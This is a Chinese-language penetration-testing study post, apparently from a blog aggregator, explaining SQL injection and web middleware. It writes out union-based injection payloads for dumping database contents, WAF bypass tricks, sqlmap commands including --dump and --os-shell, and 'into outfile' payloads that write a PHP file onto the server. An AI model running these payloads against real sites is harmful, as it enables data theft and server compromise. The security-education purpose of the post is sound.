渗透知识贴

news2024/11/25 22:55:03

文章目录

  • 基础知识
    • 同源策略
  • 常见web漏洞
    • SQL注入漏洞
  • web中间件

基础知识

同源策略

同源策略是目前所有浏览器都实行的一种安全政策。A网页设置的 Cookie,B网页不能打开,除非这两个网页同源。所谓同源,是指:协议、端口、域名相同
在这里插入图片描述

常见web漏洞

SQL注入漏洞

1、SQL注入漏洞原理:Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数时攻击者可控的,并且参数带入数据库查询,攻击者可以通关构造不同的SQL语句来实现对数据库的任意操作。简单来说就是前端传给后端的参数用户可控;传入的参数被拼接到SQL语句且带入数据库查询。

2、SQL注入分类

  • 以有无闭合字符分类:字符型、整数型
  • 以数据传输方式分类:post类型、get类型
  • 注入方式细分:联合查询注入、报错型注入、布尔型盲注、时间型盲注、宽字节注入

3、联合查询基本步骤

	id=1'    //报错,说明有注入点
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

	id=1 order by <数字> # //判断字段数
	id=1 and 1=2 union select 1,2,3, ... #   //查看回显点
	id=1 and 1=2 union select 1,2,database(), ... #   //查看数据库名
	id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #   //查看表名
	id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') #  //查看字段名
	id=1 and 1=2 union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) #   //查看字段内容

4、报错注入常用的函数
updatexml()extractvalue()floor()

5、mysql默认存在的哪个数据库,注入时经常用到?
mysql5.0之后,mysql默认存放Information_schema,在该库中,有三个重要的表:SCHEMATATABLESCOLUMNS

6、时间盲注特点?常用函数?
场景:应用于无数据回显,无报错,布尔型盲注失效后 。
特点:时间型盲注页面没有明显的回显,只能根据页面刷新时间的长短来去判断构造语句是否正确。
常用函数:sleep()benchmark()if(expr1,expr2,expr3)

7、布尔盲注特点?常用函数?
特点:根据页面正确和错误的两种状态,来判断构造语句是否正确。
常用函数:length()substr()ascii()

8、宽字节注入
原理:当数据库编码为GBK时,且传入的引号被\过滤,可以尝试宽字节注入。例如,传入%df',服务端对引号过滤,即添加反斜杠为%df\',带入数据库查询前经过GBK编码为運',反斜杠被吃掉。

9、Sqlmap基本用法

sqlmap
sqlmap -u "url"  //-u选项是检测注入点
sqlmap -u "url" --dbs  //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db  //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库  --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名  --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dump //-C是指定字段  --dump是列出字段内容

10、SQL注入绕WAF姿势

  1. 大小写绕过,例如and 1=1写成And 1=1;
  2. 上写绕过,例如anandd
  3. 编码绕过。注意编码绕过的关键是提交的编码后的参数内容在进入数据库查询语句之前会有相关的解码代码
  4. 内联注释绕过,例如/*!and*/,会被解析为and关键字;
  5. 特殊函数替换
    floor() ==>  updatexml()extractvalue()
    Substring() ==>  Mid()Substr()Lpad()Rpad()Left()
    concat() ==>  concat_ws()group_concat()
    limit 01  ==>  limit1 offset 0
    and  ==> && 
    or  ==> ||
    = ==>  <>
    = ==>  like
    sleep()  ==> benchmark()
    
  6. %00截断绕过,例如:?a=1%00.&id=1and sleep(3),部分waf在遇到%00会认为参数读取已经结束

参考:WAF机制及绕过方法总结:注入篇

11、什么样的网站可能存在sql注入漏洞?

  • 和数据库有数据交互的这种网站,比如一些用php,asp这一类动态脚本写的网站;
  • 还有就是伪静态的网站,虽然看着是html的网站,但是实际上是动态网站和数据库有数据交互。

简单来说,就是注意与数据库有交互的地方可能存在SQL注入。

12、SQL注入挂马
前提条件:

  • 数据库当前用户为root权限;

    # 第一种方法
    select group_concat(user,0x3a,file_priv) from mysql.user;
    #出现Y,这就代表你有文件权限,N就是没有
    
    # 第二种方法
    select user(); # 查看当前用户
    
    # 第三种方法
    sqlmap.py -u '<URL>' --is-dba # 查看当前用户是否为root用户
    

    在这里插入图片描述

  • 知道当前网站的绝对路径;

  • PHP的magic_quotes_gpcoff状态;

    magic_quotes_gpc=on说明php开启魔术引号,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。

  • 写入的那个路径存在写入权限。
    主要关注secure_file_priv参数。

    secure_file_priv为NULL禁止导出文件secure_file_priv=
    secure_file_priv指定地址限制导出地址只能在此secure_file_priv=D:/”
    secure_file_priv为空可以导出到任意文件secure_file_priv=
    

基于union联合查询:

?id=-1 union select 1,'<?php phpinfo();?>',3 into outfile '/tmp/shell.php' --+
?id=-1 union select 1,'<?php phpinfo();?>',3 into dumpfile '/tmp/shell.php' --+

在这里插入图片描述

因为linux下不是所有用户在/var/www/html下都具有写权限,所以这里只能写到/tmp目录下。

基于union联合查询:

into outfile '/tmp/shell.php' fields terminated by '<?php phpinfo(); ?>' --+

在这里插入图片描述

sqlmp.py -u '<url>' --os-shell # 获取shell

web中间件

关于web服务器、web中间件、web容器之间的区别:web服务器、Web中间件和Web容器的区别
简单来说:

  • Web服务器主要处理静态文件服务,提供基本的HTTP请求和响应功能。
  • Web中间件提供丰富的功能和服务,包括处理动态内容、业务逻辑、安全性等。
  • Web容器是Web中间件的一部分,专注于执行和管理Web应用程序的动态内容,如Servlet和JSP。

其实我们不用将这些概念分得这么细(暂且都叫web中间件),只需要知道web中间件上对应的语言类型即可
常见的中间件类型:

ASP:IIS
PHP:Apache、Nginx
Java:Tomcat、Weblogic、Jboss、WebShere、GlassFish

JSP与javascript:

  • JSP文件(以.jsp为后缀)是用于开发动态Web页面的Java技术,允许在HTML页面中嵌入Java代码。当JSP文件在服务器上被处理时,其中的Java代码被编译为可执行的Servlet。
  • JavaScript文件(以.js为后缀)是一种脚本语言,用于在Web浏览器中实现交互性和动态性。它通常用于在HTML页面中编写脚本代码,以实现各种功能和交互效果。

待续。。。。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1580328.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

蓝桥杯刷题--RDay5

清理水域--枚举 8.清理水域 - 蓝桥云课 (lanqiao.cn)https://www.lanqiao.cn/problems/2413/learning/?page1&first_category_id1&second_category_id3&tags2023 小蓝有一个n m大小的矩形水域&#xff0c;小蓝将这个水域划分为n行m列&#xff0c;行数从1…

一文详解:使用HTTPS有哪些优势?

互联网发展到今天&#xff0c;HTTP协议的明文传输会让用户存在非常大的安全隐患。试想一下&#xff0c;假如你在一个HTTP协议的网站上面购物&#xff0c;你需要在页面上输入你的银行卡号和密码&#xff0c;然后你把数据提交到服务器实现购买。假如这个环节稍有不慎&#xff0c;…

ST 意法半导体人工智能(AI)X-CUBE-AI 扩展包入门指南

引言 本用户手册指导了基于 IDE 逐步构建用于 STM32 微处理器的完整人工智能&#xff08;AI&#xff09;项目&#xff0c;自动转换预训练好的神经网络&#xff08;NN&#xff09;并集成所生成的优化库。本手册还介绍了 X-CUBE-AI 扩展包&#xff0c;该扩展包与 STM32CubeMX 工具…

分类预测 | Matlab实现CPO-LSSVM冠豪猪算法优化最小二乘支持向量机数据分类预测

分类预测 | Matlab实现CPO-LSSVM冠豪猪算法优化最小二乘支持向量机数据分类预测 目录 分类预测 | Matlab实现CPO-LSSVM冠豪猪算法优化最小二乘支持向量机数据分类预测分类效果基本介绍程序设计参考资料 分类效果 基本介绍 1.Matlab实现CPO-LSSVM冠豪猪算法优化最小二乘支持向量…

【经典算法】LeetCode 5: 最长回文子串(Java/C/Python3实现含注释说明,Medium)

目录 题目描述思路及实现方式一&#xff1a;动态规划法思路代码实现Java版本C语言版本Python3版本 复杂度分析 方式二&#xff1a;中心扩展法思路代码实现Java版本C语言版本Python3版本 复杂度分析 总结相似题目 标签(题目类型)&#xff1a;回文串、动态规划 题目描述 给定一…

OpenHarmony实战:瑞芯微RK3568移植案例

本文章是基于瑞芯微RK3568芯片的DAYU200开发板&#xff0c;进行标准系统相关功能的移植&#xff0c;主要包括产品配置添加&#xff0c;内核启动、升级&#xff0c;音频ADM化&#xff0c;Camera&#xff0c;TP&#xff0c;LCD&#xff0c;WIFI&#xff0c;BT&#xff0c;vibrato…

利用电动车进电梯检测系统识别电动车入楼行为,算法上实现的难点与方案

目前&#xff0c;我国电动自行车保有量已超过3.5亿辆。有限的充电场所难以满足日益增长的充电需求。许多人选择将电动车通过电梯带进家中充电。因此&#xff0c;火灾事故时有发生。数据显示&#xff0c;与电动车有关的起火事故占火灾总比35%。电梯空间狭小密闭&#xff0c;电动…

备战蓝桥杯(日益更新)(刷题)

备战蓝桥杯&#xff08;日益更新&#xff09;&#xff08;刷题&#xff09; 文章目录 备战蓝桥杯&#xff08;日益更新&#xff09;&#xff08;刷题&#xff09;前言&#xff1a;一、二分&#xff1a;1. acwing503 借教室&#xff1a;&#xff08;二分 差分&#xff09;2. ac…

计算机硬件组成

计算机硬件组成 基本组成核心组件连接方式与总线架构与技术特殊组件总结脑图 基本组成 CPU: 执行指令和进行数据处理内存: 存储程序和数据&#xff0c;分为RAM和ROM主板: 连接所有硬件的平台&#xff0c;传输电子信号输入设备: 如键盘、鼠标等输出设备: 如显示器、打印机等 核…

Taro框架中的H5 模板基本搭建

1.H5 模板框架的搭建 一个h5 的基本框架的搭建 基础template 阿乐/H5 Taro 的基础模板

OpenHarmony实战:轻量系统STM32F407芯片移植案例

介绍基于STM32F407IGT6芯片在拓维信息Niobe407开发板上移植OpenHarmony LiteOS-M轻量系统&#xff0c;提供交通、工业领域开发板解决方案。 移植架构采用Board与SoC分离方案&#xff0c;使用arm gcc工具链Newlib C库&#xff0c;实现了lwip、littlefs、hdf等子系统及组件的适配…

论文学习D2UNet:用于地震图像超分辨率重建的双解码器U-Net

标题&#xff1a;&#xff1a;Dual Decoder U-Net for Seismic Image Super-Resolution Reconstruction ——D2UNet&#xff1a;用于地震图像超分辨率重建的双解码器U-Net 期刊&#xff1a;IEEE Transactions on Geoscience and Remote Sensing 摘要&#xff1a;从U-Net派生…

【Linux】进程的状态(运行、阻塞、挂起)详解,揭开孤儿进程和僵尸进程的面纱,一篇文章万字讲透!!!!进程的学习②

目录 1.进程排队 时间片 时间片的分配 结构体内存对齐 偏移量补充 对齐规则 为什么会有对齐 2.操作系统学科层面对进程状态的理解 2.1进程的状态理解 ①我们说所谓的状态就是一个整型变量&#xff0c;是task_struct中的一个整型变量 ②.状态决定了接下来的动作 2.2运行状态 2.…

R语言绘图 | 散点小提琴图

原文链接&#xff1a;R语言绘图 | 散点小提琴图 本期教程 写在前面 本期的图形来自发表在Nature期刊中的文章&#xff0c;这样的基础图形在日常分析中使用频率较高。 获得本期教程数据及代码&#xff0c;后台回复关键词&#xff1a;20240405 绘图 设置路径 setwd("You…

【数据结构】顺序表的动态分配(步骤代码详解)

&#x1f388;个人主页&#xff1a;豌豆射手^ &#x1f389;欢迎 &#x1f44d;点赞✍评论⭐收藏 &#x1f917;收录专栏&#xff1a;数据结构 &#x1f91d;希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff0c;让我们共同学习、交流进…

算法设计与分析实验报告c++java实现(矩阵链连乘、投资问题、完全背包问题、旅行商问题、数字三角形)

一、 实验目的 1&#xff0e;加深学生对算法设计方法的基本思想、基本步骤、基本方法的理解与掌握&#xff1b; 2&#xff0e;提高学生利用课堂所学知识解决实际问题的能力&#xff1b; 3&#xff0e;提高学生综合应用所学知识解决实际问题的能力。 二、实验任务 用动态规…

防火墙操作!

当小编在Linux服务器上部署好程序以后&#xff0c;但是输入URL出现下述情况&#xff0c;原来是防火墙的原因&#xff01;&#xff01; 下面是一些防火墙操作&#xff01; 为保证系统安全&#xff0c;服务器的防火墙不建议关闭&#xff01;&#xff01; 但是&#xff0c;我们可…

idea(2023.1.3)配置全局Maven环境

问题来源一&#xff1a; 1、每次在下载依赖时&#xff0c;会遇到这样的报错信息&#xff0c;报错信息如下显示&#xff1a;sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid cert&#xff1b;百度结果是&#xff1a;通常表示IntelliJ IDEA …

第十四届蓝桥杯大赛软件赛省赛C/C++ 大学 B 组A-E题(go、java实现)

第十四届蓝桥杯大赛软件赛省赛C/C 大学 B 组 A题&#xff1a;日期统计B题&#xff1a;01串的熵C题&#xff1a;冶炼金属D题&#xff1a;飞机降落E题&#xff1a;接龙数列 A题&#xff1a;日期统计 直接遍历2023年每一天&#xff0c;看数组中是否有符合的 java的coding如下&…

【Shell】各种条件语句的使用——test语句、if语句、case语句

Shell条件语句的使用 条件语句 Shell条件语句的使用条件测试的语法字符串测试表达式整数二元比较操作符逻辑操作符 if的条件语句的语法if的嵌套case语句语法 条件测试的语法 语法1&#xff1a;test <测试表达式> 利用test命令进行条件测试表达式的方法。test命令与<测…